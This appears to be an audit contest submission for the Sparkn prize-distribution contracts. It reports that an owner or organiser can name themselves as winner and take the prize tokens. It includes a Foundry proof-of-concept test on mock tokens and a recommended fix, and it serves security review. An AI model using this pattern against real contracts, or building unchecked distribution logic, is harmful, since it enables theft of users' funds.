Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Owner/Organiser can transfer all winnings to themselves

sv

Summary

Trusted Owner/Organiser calls _distribute function to transfer tokens to winners with their respective amount.

Vulnerability Details

Owner/Organiser can transfer all the tokens to themselves, by adding their address in the winner array.
We understand they can set any other address for theft, but we believe this is a required check to provide confidence to consumers in the code.

Impact

Owner/Organiser can steal all tokens

POC

Run forge test --mt testIfOwnerstealsfunds -vvv

function testIfOwnerstealsfunds() public setUpContestForJasonAndSentJpycv2Token(organizer) {
// before
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
​
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
winners[0] = factoryAdmin;// @audit Factory admin is beneficiary
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
bytes memory data = abi.encodeWithSelector(Distributor.distribute.selector, jpycv2Address, winners, percentages_, "");
​
vm.warp(16 days);
vm.startPrank(factoryAdmin);
console.log("balance of Admin before distribute",MockERC20(jpycv2Address).balanceOf(factoryAdmin));
proxyFactory.deployProxyAndDistributeByOwner(organizer, randomId_, address(distributor), data);
vm.stopPrank();
​
console.log("balance of Admin after distribute",MockERC20(jpycv2Address).balanceOf(factoryAdmin));
// after
assertEq(MockERC20(jpycv2Address).balanceOf(factoryAdmin), 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
}

Tools Used

Manual

Recommendations

Check that owner's/distributor's address is not included in the winner's array be decoding the data in _distribute, before calling the proxy and as an optional step a method on the gnosis safe multisig contract on the msg.sender address can be called for more verification

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.